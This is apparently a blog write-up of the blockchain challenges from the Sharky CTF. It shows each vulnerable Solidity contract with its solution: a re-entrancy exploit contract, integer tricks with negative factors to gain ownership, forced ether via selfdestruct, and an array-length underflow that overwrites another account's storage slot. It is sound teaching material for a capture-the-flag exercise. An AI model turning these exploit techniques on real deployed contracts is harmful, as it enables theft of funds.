SHARKY CTF BlockChain wp

S

This morning called by my teammate QiQi to attant this Sharky CTF, very pleasure to ak the BlockChain.

Warmup

code:

pragma solidity = 0.4.25;

contract Warmup {
    bool public locked;
    
    constructor() public payable {
        locked = true;
    }
    
    function unlock() public payable {
        require(msg.value == 0.005 ether);
        locked = false;
    }
    
    function withdraw() public payable {
        require(!locked);
        msg.sender.call.value(address(this).balance)();
    }
}

Just a warmup challenge, this need us to deloy the contract on remix and invoke the unlock function with 0.005 ether to put unlock to false, so that we can invoke withdraw() to get flag~

Logic

Same as warmup, we should steal all money~

Goal : Steal the money
pragma solidity = 0.4.25;

contract Logic {
    address public owner;
    bytes32 private passphrase = "th3 fl4g 1s n0t h3r3";
    
    constructor() public payable {
        owner = msg.sender;  
    }
    
    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.call.value(address(this).balance)();
    }

    function claim(bytes32 _secret) public payable {
        require(msg.value == 0.05 ether && _secret == passphrase);
        owner = msg.sender;
    }
}

So we should invoke the claim() with 0.005 ether and a secret code. The contract actually told us that pass is “th3 fl4g 1s n0t h3r3”, you can still check it out in etherscan to make sure that is true.

You can solve the task as the picture below:

And tada! we get flag!

Guessing

Oops, steal again! code:

pragma solidity = 0.4.25;

contract Guessing {
    address public owner;    
    bytes32 private passphrase;
    
    constructor(bytes32 _passphrase) public payable {
        owner = msg.sender;
        passphrase = keccak256(abi.encodePacked(_passphrase));
    }
    
    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.call.value(address(this).balance)();
    }

    function claim(bytes32 _secret) public payable {
        require(keccak256(abi.encodePacked(_secret)) == passphrase);
        owner = msg.sender; 
    }
}

You can find any value on ethernet so we should not guess but check it on etherscan.

So the next step is to findout which string after a hash function ( keccak256 ) could be 0x72285c772bd9b01334510e3b09a33600f033e253ee3f48c6ed30a746a66cfe54. We can start with the Input Data when contrace was created:

It should contained the variable when creating contract, all we need to do is to figure out which localtion is the variable storaged. So I created a empty contract with following code:

contract t {
    constructor(bytes32 a){
   }
}

I deploy the contract with 0x60806040526040516020806103ce833981018060405281019080805190602001 and get the input data:

0x6080604052348015600f57600080fd5b50604051
6020806074833981018060405281019080805190602001909291905050505060
3580603f6000396000f3006080604052600080fd00a165627a7a7230582029d1
2595f6291f29882ab7c1741efc4c3c4c652bc877a8b6cffbbee54b5c5a4a0029
60806040526040516020806103ce833981018060405281019080805190602001

As we can see the last 32 bytes of data is the variable of constructor, so we can discover that 0x49276d2070723374747920737572332079307520627275743366307263336421 is the plain text of hash 0x72285c772bd9b01334510e3b09a33600f033e253ee3f48c6ed30a746a66cfe54. Let’s try it:

wow, flag is on our hand!

Multipass

Another Steal money task of course XD, code:

pragma solidity = 0.4.25;

contract Multipass {
    address public owner;
    uint256 public money;
    
    mapping(address => int256) public contributions;
    
    bool public withdrawn;
    
    constructor() public payable {
        contributions[msg.sender] = int256(msg.value * 900000000000000000000);
        owner = msg.sender;
        money = msg.value;
        withdrawn = false;
    }
    
    function gift() public payable {
        require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether);
        contributions[msg.sender] = int256(msg.value) * 10;
        money += msg.value;
    }
  
    function takeSomeMoney() public {
        require(msg.sender == owner && withdrawn == false);
        uint256 someMoney = money/20;
        if(msg.sender.call.value(someMoney)()){
            money -= someMoney;
        }
        withdrawn = true;
    }
    
    function contribute(int256 _factor) public {
        require(contributions[msg.sender] != 0 &amp;&amp; _factor < 10);
        contributions[msg.sender] *= _factor;
    }
    
    function claimContract() public {
        require(contributions[msg.sender] > contributions[owner]);
        owner = msg.sender;
    }
}

The task need us to reduce the balance of contract to 0, so let’s figure out which function could reduce the balance first.

Auditing the code, we recognized that only takeSomeMoney() would reduce 1 / 20 the contract balance. Of course it not enough but look at the code carefully, we should find that the contract execute the transaction before modifying the variable money, so clearly it’s a Re-Entrancy task.

Another thing we should know is we cannot invoke takeSomeMoney() directly because it require us be owner first. The function claimContract() could do this and it need us get larget contributions than the old owner. And where can we get contributions? gift() can accept 0.00005 ether and give us 500000000000000 contributions, but the owner gets 4500000000000000000000000000000000000 contributions. So we need to increase our contributions by using contribute().

contribute() can makes our contributions to ten times most. Of course we can invoke this time after time but there is a much more convince way, using negative numbers.

Since -100000000000 clearly smaller than 10 so we can invoke contribute(-100000000000) twice to makes our contributions times (-100000000000) ** 2, which equals 5000000000000000000000000000000000000, bigger than owner’s.

owner: int256: 4500000000000000000000000000000000000
our  : int256: 5000000000000000000000000000000000000

So that we can write our exp like this:

// Author : imagin
// Blog : https://imagin.vip
// Filename : exp.sol
contract exp{
    Multipass x;
    constructor(){
        x = Multipass(0x693282455c051D6CB3B138fD78474c8D9F7c8AFa);
    }
    
    function prepare() public payable{
        x.gift.value(0.00005 ether)();
        // you need invoke this function twice
        x.contribute(-100000000000);
        x.contribute(-100000000000);
        // x.contribute(2);
    }
    
    function Claim(){
        x.claimContract();
    }
    
    function reEntry(){
        x.takeSomeMoney();
    }
    
    function() public payable{
        x.takeSomeMoney();
    }
    
    
}

Shashasha

The last steal money task, and really fucking hard! o(╥﹏╥)o

code:

pragma solidity = 0.4.25;

contract Shashasha {
    address public owner;
    uint256 public money;
    
    mapping(address => uint256) private contributions;    
    
    bool public hacker;
    uint[] public godlike;
    
    constructor() public payable {
        owner = msg.sender;
        contributions[owner] = msg.value * 9999999999999;
        money += msg.value;
        hacker = false;
    }
    
    function becomingHacker() public {
        require(address(this).balance != money);
        contributions[msg.sender] = 100;
        hacker = true;
    }

    function remove() public{
        require(hacker);
        godlike.length--;
    }
 
    function append(uint256 _value) public{
        require(hacker);
        godlike.push(_value);
    }
 
    function update(uint256 _key, uint256 _value) public {
        require(hacker);        
        godlike[_key] = _value;
    }
    
    function withdraw() public payable {
        require(contributions[msg.sender] > contributions[owner]);
        msg.sender.call.value(address(this).balance)();
    }
    
    function getContrib(address _key) public view returns(uint256) {
        return contributions[_key];
    }
}

It seems we should becoming hacker to do other operations. But become hacker is conditional which the contract’s balance should change a little bit. I created a empty contract to invoke the selfdestruct() to send money to the contract and it works, I become a Hacker LOL.

contract giveMoney{
    constructor() payable{
    }
    function des(){
        selfdestruct(0x4662E9Cdacd26516d1828Ac63F872281e684c3d6);
    }
}

We solved the first problem, but the difficult part is just begin.

It seems we should invoke the withdraw() to get flag so we need more contributions than owners. The problem is that the contract offers no function to oprate contributions at all. Is it exist a way that could change the variable without doing anything to the variable?

The answer is yes! We can use the array to overwrite the owner’s contribution, change it to a number that smaller than 100 so that we can get flag. But first, we should learn how to ethernet storage our data by this article.

Let me summarize it a little bit, the variables on the contract stores in a place named “storage” while the temp variable which defined in function stores in “memory”. The memory variable just fade away when the function was over, but the storage variable was solid and be stored at storage forever.

For the storage variables, they are seperate with each other by slot, each slot can hold 32 bytes for most and the whole stroage contained 2 ** 256 – 1 slots.

Understand these basic knowledge, we can find which slot stored the key data that we wants to modify. Take a look at the first few lines of contract code:

address public owner;
// owner in slot0
uint256 public money;
// money in slot1
mapping(address => uint256) private contributions;
// contributions in slot2
bool public hacker;
// hacker in slot3
uint[] public godlike;
// godlike in slot4

In storage, array stored one by one. For example, godlike[0] stored in slot 123, godlike[1] must stored in slot 124. So as long as we know the start slot number of array, we can know all the array variable’s slot number. Luckly the start slot number of array can be calculated by using keccak256(index).

Array godlike is stored in slot4, so the index is 4, the start slot is 0x8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b.

And next we need to know which slot stored the owner’s contribution. As for this is much more convince that we can use etherscan to find the solt:

0xa7020d829acc09e9e05a35fdd2d946e69a99bc5817c97f0e30e40a9530605643 is the address contained the owner’s contribution.

Subtract these two numbers and we get the distance between array and owner’s contribution in storage.

0x1ccc6086d96c11cfa6abb8c983023cf40c13bba36d3d19477a980c154cf484a8 is the magic number!

Seems we have already solved it. But you might have notice that when you invoke update(), it returns error. This because the EVM think the array was out of bounds. Don’t worry, we can invoke remove() to let our array.length– , so that the variable array.length got a underflow to 2**256 – 1, you can check any values now and find that they were all 0.

Let’s invoke update(“0x1ccc6086d96c11cfa6abb8c983023cf40c13bba36d3d19477a980c154cf484a8”, 1) to overwrite the owner’s contribution:

the owner’s contribution is 1 now XD

At last, invoke the withdraw() to get flag~

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.